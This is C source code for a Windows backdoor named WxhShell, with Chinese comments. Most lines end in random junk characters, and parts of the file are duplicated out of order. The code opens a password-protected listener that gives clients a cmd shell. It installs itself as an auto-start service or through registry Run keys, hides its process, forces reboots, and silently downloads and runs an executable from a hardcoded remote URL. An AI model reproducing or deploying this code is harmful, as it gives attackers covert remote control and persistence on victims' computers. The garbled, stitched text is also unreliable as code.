    if(Boot(SHUTDOWN)) GS{:7%=j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VGcl)fIqw?  
    else { hMJ \a  
    closesocket(wsh); y? [*qnPj  
    ExitThread(0); *f8,R"]-g  
    } 1at$_\{.(  
    break; ^a`zvrE v  
    } NrvS/ cI!t  
  // 获取shell ~QdwoeaD  
  case 's': { ^JtGT  
    CmdShell(wsh); Coq0Kzhsab  
    closesocket(wsh); PqcuSb6  
    ExitThread(0); (Cp:NS  
    break; )ymF: ]QC  
  } 9BANCW"  
  // 退出 )I+1 b !U  
  case 'x': { z>j%-3_1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >1ZMQgCG  
    CloseIt(wsh); "EpE!jh  
    break; (p} N9n$  
    } zi>f436-  
  // 离开 |iM*}Ix-  
  case 'q': {  CjQ_oNI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QBto$!})  
    closesocket(wsh); ! # tRl  
    WSACleanup(); n E-=7S L  
    exit(1); q){]fp.,@  
    break; s*k"-5  
        } =< CH(4!  
  } >\DXA)nc  
  } 0nie>  
GWE`'V  
  // 提示信息 n]Dq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \f66ipZK*  
} A94VSUDA:  
  } >Dtw^1i  
p'w[5'  
  return; A v2 _A  
} tW=0AtZl]  
i0AC.]4e"  
// shell模块句柄 s?Q`#qD  
int CmdShell(SOCKET sock) L0&!Qct  
{ DBmcvC  
STARTUPINFO si; mOXI"q]p  
ZeroMemory(&si,sizeof(si)); c7rYG]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LnJ7i"Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +H<%)Lk J  
PROCESS_INFORMATION ProcessInfo; !-MG"\#Wq  
char cmdline[]="cmd"; RmNF]"3%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w@:o:yLS  
  return 0; 0N T3  
} t#pY2!/T3  
JnsXEkM)  
// 自身启动模式 VR:b1XWX  
int StartFromService(void) mmjB1 L  
{ t!iF(R\  
typedef struct wUV%NZB  
{ 8c/Ii"1  
  DWORD ExitStatus; nVM`&azD  
  DWORD PebBaseAddress; }E1Eq  
  DWORD AffinityMask; 50R+D0^mh  
  DWORD BasePriority; W@S9}+wl*  
  ULONG UniqueProcessId; |y=gp  
  ULONG InheritedFromUniqueProcessId; x< 3vA|o  
}   PROCESS_BASIC_INFORMATION; Rw\DJJrz  
{ o;0Fx  
PROCNTQSIP NtQueryInformationProcess; ih;TQ!c+b  
aEM#V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &GZR-/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O~Fk0}-  
:YI>AaYWDO  
  HANDLE             hProcess; mn4;$1~e>H  
  PROCESS_BASIC_INFORMATION pbi; ut,"[+ J  
L%8"d6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); plIx""a^h  
  if(NULL == hInst ) return 0; 'K"*4B^3  
p-6.:y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iLI]aZ   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  nm~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =~S   
o{Ep/O`  
  if (!NtQueryInformationProcess) return 0; uJ y@  
e^an` </{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yTvK)4&  
  if(!hProcess) return 0; 1M{#"t{6  
[*<&]^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b>(l F%M  
{p\KB!Y-  
  CloseHandle(hProcess); 24Tw1'mW  
;C<A }  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `->k7a0<b1  
if(hProcess==NULL) return 0; gc:>HX );)  
Yt'o#"R)  
HMODULE hMod; sg2C_]i,H  
char procName[255]; &ivIv[LV  
unsigned long cbNeeded; %G SSy_c  
wz#n$W3mGf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e+WVN5"ID>  
)5v .9N 6v  
  CloseHandle(hProcess); Qw-qcG  
1mV0AE538  
if(strstr(procName,"services")) return 1; // 以服务启动 K7Vr$,p  
5`DH\VD.j  
  return 0; // 注册表启动 lq5E?B  
} "8]170  
c 1GP3  
// 主模块 f5-={lUlIS  
int StartWxhshell(LPSTR lpCmdLine) T}TP.!0E  
{ Ei<:=6EX?8  
  SOCKET wsl; J"MJVMo$T  
BOOL val=TRUE; Uf<vw3  
  int port=0; 8(;i~f:bCW  
  struct sockaddr_in door; 9 JtG&^*  
y^rg%RV  
  if(wscfg.ws_autoins) Install(); #*/h*GNMs  
Z#O3s:`  
port=atoi(lpCmdLine); _JDr?Kg  
FM)*>ax{  
if(port<=0) port=wscfg.ws_port; ~-%A@Lt  
J|IDnCK  
  WSADATA data; do,X{\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y5CE#&  
'1 $({{R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]l'ki8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {@%(0d{n}  
  door.sin_family = AF_INET; >cb gL%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -EaZ<d[|0  
  door.sin_port = htons(port); IycxRig  
~=ktFuEa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +GS=zNw#  
closesocket(wsl); ;gnr\C*G  
return 1; W!X]t)Ow  
} gEsR-A!m  
j[cjQ]>~'  
  if(listen(wsl,2) == INVALID_SOCKET) { 1n"X?K5;A  
closesocket(wsl); &L]*]Xz;  
return 1; !y?hn$w0  
} sQs5z~#51*  
  Wxhshell(wsl); X%CPz.G  
  WSACleanup(); du,-]fF  
}0RFo96) v  
return 0; rg}kxvu  
'4sD1LD~}  
} 1_C6KS  
]:s|.C%qI  
// 以NT服务方式启动 [#Vr)\n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pQ{t< >  
{ P0z{R[KBH  
DWORD   status = 0; =[+&({  
  DWORD   specificError = 0xfffffff; 5#\p>}[HG  
 F`.7_D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QB,ad   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2*YXm>|1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pNFIO t:(  
  serviceStatus.dwWin32ExitCode     = 0; jt--w"|-r  
  serviceStatus.dwServiceSpecificExitCode = 0; -RQQ|:O$  
  serviceStatus.dwCheckPoint       = 0; x^2/jUc#B  
  serviceStatus.dwWaitHint       = 0; `h!&->  
@F^L4 N':  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #.YcIR)  
  if (hServiceStatusHandle==0) return; m4>o E|\  
q"<-  
status = GetLastError(); qXGLv4c`Q  
  if (status!=NO_ERROR) )\Q|}JV  
{ H> iZVE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nV*sdSt  
    serviceStatus.dwCheckPoint       = 0; iQ C&d_#  
    serviceStatus.dwWaitHint       = 0; *8H;KGe=  
    serviceStatus.dwWin32ExitCode     = status; 9z/_`Xd_  
    serviceStatus.dwServiceSpecificExitCode = specificError; RgA4@J#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d<? :Q  
    return; -yGm^EwP  
  } 1>y=i+T/b  
/,Id_TTCO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i bs "Iv34  
  serviceStatus.dwCheckPoint       = 0; no6]{qn=6  
  serviceStatus.dwWaitHint       = 0; jdf)bO(9#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P.Z<b:V!  
} xH#a|iT?(  
wg_CI,Kq  
// 处理NT服务事件,比如:启动、停止 E*CQG;^=N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,ri--<  
{ l]y%cJ~$'D  
switch(fdwControl) $!!=fFX*y  
{ 6_K#,_oZ  
case SERVICE_CONTROL_STOP: aEdJri  
  serviceStatus.dwWin32ExitCode = 0; >/kG5]zxY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %]$p ^m  
  serviceStatus.dwCheckPoint   = 0; psy(]Pf  
  serviceStatus.dwWaitHint     = 0; >1pH 91c'  
  { ~<[5uZIo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WTv\HI2X !  
  } I jztj  
  return; DLVs>?Y  
case SERVICE_CONTROL_PAUSE: [HiTR!o*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <?7,`P:h[  
  break; ||ZufFO  
case SERVICE_CONTROL_CONTINUE: V^/^OR4k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gJ8 c]2c  
  break;  ,bp pM  
case SERVICE_CONTROL_INTERROGATE: '!h0![OH  
  break; `Mp7 })  
}; KXA)i5z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ::R00gd  
} [pFu ] ^X  
xp8f  
// 标准应用程序主函数 seU^IC<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4yZ+,hqJ<9  
{ l%U_iqL&  
%R*vSRG/U  
// 获取操作系统版本 9Y@?xn.\  
OsIsNt=GetOsVer(); lF"(|n"R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "mK i$FV  
C5PBfn<j  
  // 从命令行安装 \ jXN*A  
  if(strpbrk(lpCmdLine,"iI")) Install(); |-Esc|J(  
LI;EfyL  
  // 下载执行文件 ~ 9~\f  
if(wscfg.ws_downexe) { xP6?es`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JrWBcp:Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); jo3}]KC !  
} c[RL Yu  
zM r!WoW  
if(!OsIsNt) { D62 NU  
// 如果时win9x,隐藏进程并且设置为注册表启动 =<zSF\Zr_  
HideProc(); C"^hMsU8  
StartWxhshell(lpCmdLine); X8SRQO^  
} \pD=Lv9  
else QUZQY`' @  
  if(StartFromService()) N|O]z  
  // 以服务方式启动 +\8krA  
  StartServiceCtrlDispatcher(DispatchTable); LSu^#B  
else DEQE7.]3q  
  // 普通方式启动 o),6o'w(  
  StartWxhshell(lpCmdLine); 1mVVPt^6  
XZdr`$zf  
return 0; u6Qf*_-K  
} ?7nr\g"g(  
Xz .Y-5)  
"3i80R\w`F  
_X2EBpZp  
=========================================== W aGcoj  
*xo;pe)9  
" $IXZ  
=i^<a7M~  
mh#FY Sp  
KA-/k@1&  
" J1]w*2  
N>pmhskN?  
#include <stdio.h> H1%[\X?=  
#include <string.h> Jg|cvu-+  
#include <windows.h> ^L-w(r62<  
#include <winsock2.h> v]{uxlh  
#include <winsvc.h> iA3>X-x   
#include <urlmon.h> d=Df.H+3  
p;u 1{  
#pragma comment (lib, "Ws2_32.lib") ./&zO{|0]  
#pragma comment (lib, "urlmon.lib") ,s><kHJ  
'uKkl(==%  
#define MAX_USER   100 // 最大客户端连接数 %t`SSW7I  
#define BUF_SOCK   200 // sock buffer Gkv~e?Kc~^  
#define KEY_BUFF   255 // 输入 buffer %t~SOkx  
3 IWLBc  
#define REBOOT     0   // 重启 WfDX"rA  
#define SHUTDOWN   1   // 关机 M,t*nG  
C3\E.u ?  
#define DEF_PORT   5000 // 监听端口 "7yNKO;W  
&`yOIX-H_  
#define REG_LEN     16   // 注册表键长度 Gh2Q$w:  
#define SVC_LEN     80   // NT服务名长度 jkF+g$B  
5Z9~ &U  
// 从dll定义API Z<ajET`)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wyq~:vU.S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .;HIEj zq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ) Ab6!"'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ```d:f  
1X::0;3  
// wxhshell配置信息 7k] RO  
struct WSCFG { (/SGT$#8  
  int ws_port;         // 监听端口 jWXR__>.  
  char ws_passstr[REG_LEN]; // 口令 %0yS98']g  
  int ws_autoins;       // 安装标记, 1=yes 0=no  k6O. H  
  char ws_regname[REG_LEN]; // 注册表键名 I%9bPQ  
  char ws_svcname[REG_LEN]; // 服务名 >sQ2@"y)s2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oe!:|ck<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =9pw uH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WgA`kT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^Ue0mC7m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H\fcY p6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sk/#J!T8{  
(S  k#x  
}; ]^:hyO K  
Re*|$r#  
// default Wxhshell configuration ,\o<y|+`S  
struct WSCFG wscfg={DEF_PORT, n$XdSh/   
    "xuhuanlingzhe", BrJ o!@<  
    1, g/8.W  
    "Wxhshell", aqs%m (  
    "Wxhshell", s) Cpi  
            "WxhShell Service", |e*GzD  
    "Wrsky Windows CmdShell Service", ?&znUoB  
    "Please Input Your Password: ", %5JW< 9  
  1, v@8S5KJ  
  "http://www.wrsky.com/wxhshell.exe", e(yQKwVD  
  "Wxhshell.exe" e,f ;  
    }; )n7|?@5U  
iOT)0@f'  
// 消息定义模块 =- $!:W~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fyI_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5x8'K7/4.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }B y)y;~  
char *msg_ws_ext="\n\rExit."; 3{N\A5 ~  
char *msg_ws_end="\n\rQuit."; c 9rVgLqn!  
char *msg_ws_boot="\n\rReboot..."; F =XF]  
char *msg_ws_poff="\n\rShutdown..."; "7Eo>g   
char *msg_ws_down="\n\rSave to "; R? O-x9  
8HMo.*Ti9  
char *msg_ws_err="\n\rErr!"; 3p=vz'  
char *msg_ws_ok="\n\rOK!"; rdO@X9z  
(/"thv5vT{  
char ExeFile[MAX_PATH]; Bvz62?  
int nUser = 0; Wk@ eV\H71  
HANDLE handles[MAX_USER]; q0&Wk"X%rr  
int OsIsNt; <rNtY,  
ht?CH Uu  
SERVICE_STATUS       serviceStatus; I-xwJi9?,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Kw)K A^KF  
~&1KrUu&  
// 函数声明 xE%O:a?S  
int Install(void); -#Np7/  
int Uninstall(void); I(pb-oY3!I  
int DownloadFile(char *sURL, SOCKET wsh); jOs H2^  
int Boot(int flag); BBcj=]"_  
void HideProc(void); '/k^C9~m r  
int GetOsVer(void); Bg-VCJI<  
int Wxhshell(SOCKET wsl); 9"~9hOEct  
void TalkWithClient(void *cs); < CDA"  
int CmdShell(SOCKET sock); p ZtgIS(3  
int StartFromService(void); 2s 7mI'  
int StartWxhshell(LPSTR lpCmdLine); e1Ob!N-  
MRQZIi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M Hg6PQIB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); huz86CO  
T?>E{1pS  
// 数据结构和表定义 PdT83vOCE  
SERVICE_TABLE_ENTRY DispatchTable[] = LZ{YmD&6]  
{ O@s{uZ|A6  
{wscfg.ws_svcname, NTServiceMain}, @r F/]UJ  
{NULL, NULL} ,'~ #Ch  
}; <"?*zx&  
+ 3h`UF  
// 自我安装 QZ&4:K+{  
int Install(void) Rp0|zP,5  
{ i3\~Qj;1  
  char svExeFile[MAX_PATH]; ]u+MTW;  
  HKEY key; 4.8nY\_WF  
  strcpy(svExeFile,ExeFile); I:i<>kG  
tRteyNA  
// 如果是win9x系统,修改注册表设为自启动 NvQ%J+  
if(!OsIsNt) { .)7:=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LP9)zi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [ByQ;s5tY  
  RegCloseKey(key); z>G;(F2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &'s^nn]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8V-,Xig;`  
  RegCloseKey(key); $Z ]z  
  return 0; >B_n/v3P(M  
    } #|Oj]bd(=  
  } nd:E9:  
} #zt*xS[{0  
else { Y9u;H^^G  
qK?$= h.  
// 如果是NT以上系统,安装为系统服务 ,)zt AFn=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2U}m RgJu  
if (schSCManager!=0) yyP'Z~0  
{ j$vK<SF  
  SC_HANDLE schService = CreateService Ra[>P _  
  ( L]I3P|y_  
  schSCManager, /THnfy \  
  wscfg.ws_svcname, pj!:[d  
  wscfg.ws_svcdisp, \, 8p1$G  
  SERVICE_ALL_ACCESS, 'a#mViPTQ)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f"Vgefk  
  SERVICE_AUTO_START, A "S/^<  
  SERVICE_ERROR_NORMAL, %&+TbDE+T  
  svExeFile, E"#Xc@  
  NULL, .%'Z~|K4  
  NULL, 4PWAGuN^  
  NULL, @A{m5h  
  NULL, K'aWCscM  
  NULL \5TxE  
  ); FW#P*}#  
  if (schService!=0) ,."b3wR[w  
  { _y vLu j  
  CloseServiceHandle(schService); f@@s1gdb  
  CloseServiceHandle(schSCManager); J R$r!hX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rk|a5-i  
  strcat(svExeFile,wscfg.ws_svcname); fxgU~'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \G>ZkgU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iY~rne"l  
  RegCloseKey(key); O4L#jBa+  
  return 0; {U"^UuU]  
    } Qf xH9_  
  } g?G+dnl/8  
  CloseServiceHandle(schSCManager); Tfx :"u  
} ,O]l~)sr|  
} qaVy.  
brSi<  
return 1; nX^1$')gp  
} l?8)6z#Zl  
 f:wd&V  
// 自我卸载 c0ez/q1S  
int Uninstall(void) v+=k-;-  
{ R-rCh.  
  HKEY key; G[h(xp?,l  
`uo, __y  
if(!OsIsNt) { _M t Qi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g5S?nHS}  
  RegDeleteValue(key,wscfg.ws_regname); B4ZIURciGz  
  RegCloseKey(key); T6M+|"92  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S1J<9xqSQ8  
  RegDeleteValue(key,wscfg.ws_regname); 347eis'  
  RegCloseKey(key); y'} O)lO1  
  return 0; T9syo/(  
  } 3s*(uS(  
} 1J}8sG2`  
} o' 'wCr%  
else { W^\d^)  
qAY%nA>jO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'dJ/RJ~  
if (schSCManager!=0) @Uo6>-W F  
{ kKiA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L]d-33.c!H  
  if (schService!=0) EQ<RDhC@b  
  { nSx]QREL!  
  if(DeleteService(schService)!=0) {  Paj vb-f  
  CloseServiceHandle(schService); r~7:daG*  
  CloseServiceHandle(schSCManager); M4m$\~zf  
  return 0; zj|WZ=1*Wp  
  } RJ4. kt  
  CloseServiceHandle(schService); l=}~v  
  } tPfFqqT  
  CloseServiceHandle(schSCManager); ]zfG~^.  
} #VVr"*7$  
} -\,zRIOK  
o "z@&G" ^  
return 1; $` VFdAe  
} 57,dw-|xi  
a%vrt)Gx  
// 从指定url下载文件 nFRsc'VT  
int DownloadFile(char *sURL, SOCKET wsh) :5fAPK2r<  
{ k`{7}zxS  
  HRESULT hr; ihCIh6  
char seps[]= "/"; o<i,*y88  
char *token; a W%5~3  
char *file; i38[hQR9a  
char myURL[MAX_PATH]; [KJ q  
char myFILE[MAX_PATH]; M@Q3M(z  
Vz=auM1xZ  
strcpy(myURL,sURL); eH%RNtP`  
  token=strtok(myURL,seps); OJAIaC\  
  while(token!=NULL) EZDy+6b  
  { S9| a$3K'  
    file=token; +}xaQc:0|  
  token=strtok(NULL,seps); {aYY85j  
  } eqAW+Ptx  
a->3`c  
GetCurrentDirectory(MAX_PATH,myFILE); .L6Zm U  
strcat(myFILE, "\\"); gB'fFkd  
strcat(myFILE, file); ~|ss*`CT  
  send(wsh,myFILE,strlen(myFILE),0); (la[KqqCO  
send(wsh,"...",3,0); LOy0hN-$b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eYX5(`c[  
  if(hr==S_OK) DL'iS  
return 0; Q Fm|-j  
else {LHR!~d}5f  
return 1; (~~w7L s  
"es?=  
} 4NN$( S-W  
\daZ k /@  
// 系统电源模块 Kf tgOG f  
int Boot(int flag) [BBEEI=|r  
{ *Lqg=9kzr  
  HANDLE hToken; 7JJ/D4uT  
  TOKEN_PRIVILEGES tkp; wI B`%V  
I pzJ#  
  if(OsIsNt) { (6l+lru[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cqii}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RwI[R)k  
    tkp.PrivilegeCount = 1; gD`>Twa&6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WYB{% yf   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L"jY+{oLIJ  
if(flag==REBOOT) { B.r4$:+jb2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ian[LbCWB  
  return 0; QqNW}: #  
} c9qR'2  
else { j]|U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \s"U{N-  
  return 0; 4(6b(]G'#  
} zmj"fN{\  
  } M-)R Q-h  
  else { mE`kjmX{E  
if(flag==REBOOT) { <JMcIV837  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :cu #V  
  return 0; WrPUd{QM  
} g_5QA)4x  
else { l3Njq^T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q+4tIrd+  
  return 0; nJ4pTOc  
} FR2= las"z  
} 3(TsgP >`  
2(5ebe[  
return 1; STZPYeXE  
} _@S`5;4x  
xGTP;NT_H  
// win9x进程隐藏模块 ljl^ GFo  
void HideProc(void) @36u8pE  
{ z [`@}}Q  
Zo1,1O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;XM{o:1Y[  
  if ( hKernel != NULL ) F}Vr:~  
  { `Al;vVMRO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ctE\ q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uqz]J$  
    FreeLibrary(hKernel); SBA?^T  
  } g&/T*L  
iq( )8nxi  
return; 6aM*:>C"  
} rZ8`sIWQt  
*m?/O} R  
// 获取操作系统版本 bfo["  
int GetOsVer(void) lHgs;>U$  
{ Xpzfm7CB/  
  OSVERSIONINFO winfo; cGjPxG;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \&U>LwZd?  
  GetVersionEx(&winfo); F:x [  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w] N!S;<N  
  return 1; l;o1 d-n]  
  else n:MdYA5,m  
  return 0; 6@DF  
} /Q,mJ.CnSR  
(5]}5W*  
// 客户端句柄模块 <b,~:9*?  
int Wxhshell(SOCKET wsl) oudxm[/U  
{ [eTSZjIN7  
  SOCKET wsh; m2AnXY\  
  struct sockaddr_in client; 8WnwQ%;m?  
  DWORD myID; sr8cYLm5R  
/?SLdW  
  while(nUser<MAX_USER) t!RiUZAo  
{ !47n[Zs  
  int nSize=sizeof(client); <[w=TdCPs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #%DE;  
  if(wsh==INVALID_SOCKET) return 1; ):iA\A5q[  
-GxaV #{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m*JaXa  
if(handles[nUser]==0) |\pbir  
  closesocket(wsh); F$)[kP,wtO  
else Y]&j,j&  
  nUser++; Bz,?{o6s)Q  
  } EFz&N\2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =?!wXOg_  
V:y'Qf2M  
  return 0; B {>7-0  
} ZHa"isl$e  
u?C#4  
// 关闭 socket .SWlp2!M5  
void CloseIt(SOCKET wsh) 7 qS""f7  
{ wpN=,&!  
closesocket(wsh); GWfL  
nUser--; LGn:c;  
ExitThread(0); 7'Mm205\  
} RCpR3iC2  
m;,N)<~  
// 客户端请求句柄 T:~vk.Or  
void TalkWithClient(void *cs) E 7{U |\  
{ ')cMiX\v  
NCDvo bYJ  
  SOCKET wsh=(SOCKET)cs; {e 14[0U-  
  char pwd[SVC_LEN]; .6Pw|xu`Pw  
  char cmd[KEY_BUFF]; %%[LKSTb  
char chr[1]; a^I\ /&aw'  
int i,j; Vh4X%b$TV  
jWA(C; W  
  while (nUser < MAX_USER) { JJN.ugT}1  
$| @ (  
if(wscfg.ws_passstr) { r97pOs#5:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "]} bFO7C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oG_~q w|h  
  //ZeroMemory(pwd,KEY_BUFF); WvY? +JXJ  
      i=0; {ttysQ-  
  while(i<SVC_LEN) { MDnua  
= %TWX[w  
  // 设置超时 rD 3v$B  
  fd_set FdRead; asppRL||  
  struct timeval TimeOut; Hx?;fl'G%  
  FD_ZERO(&FdRead); {'NvG  
  FD_SET(wsh,&FdRead); , s"^kFl  
  TimeOut.tv_sec=8; w9EOC$|Y  
  TimeOut.tv_usec=0; b gK}-EU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [M=7M}f;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9sYMSc~Bm  
zHM(!\8K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pd_U7&w,5  
  pwd=chr[0]; $Nhs1st*8  
  if(chr[0]==0xd || chr[0]==0xa) { 4O^xY 6m  
  pwd=0; vdc\R?  
  break; m#| 9hMu  
  } t.i 8 2Q  
  i++; c(xrP/yOwi  
    } V17%=bCZ5[  
2K/4Rf0;  
  // 如果是非法用户,关闭 socket nFHUy9q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P@V0Mi),  
} 0ypNUG}   
aC8} d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a%JuC2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V^bwXr4f  
z]_wjYn Z  
while(1) { ^BikV  
6]WAUK%h  
  ZeroMemory(cmd,KEY_BUFF); h+g_rvIG*  
yg<R=$n,Q  
      // 自动支持客户端 telnet标准   ctZ uA+  
  j=0; hF~n)oQ  
  while(j<KEY_BUFF) { 2lH&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FrfM3x6UM  
  cmd[j]=chr[0]; {HltvO%8  
  if(chr[0]==0xa || chr[0]==0xd) { 823Y\x~>  
  cmd[j]=0; [ )Iv^ U9  
  break; l*Gvf_UH  
  } -A^_{4X  
  j++; ohGJ1  
    } 4yy>jXDG  
;#W2|'HD  
  // 下载文件 u5`u>.!  
  if(strstr(cmd,"http://")) { H(ARw'M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vtg !8u4  
  if(DownloadFile(cmd,wsh)) \h/H#j ZJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cKca;SNql1  
  else &AeX   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f643#1  
  } _aSxc)?  
  else { X]TG<r  
O3,jg |,  
    switch(cmd[0]) { <`=j^LU  
  e'NJnPO  
  // 帮助 AlaW=leTe  
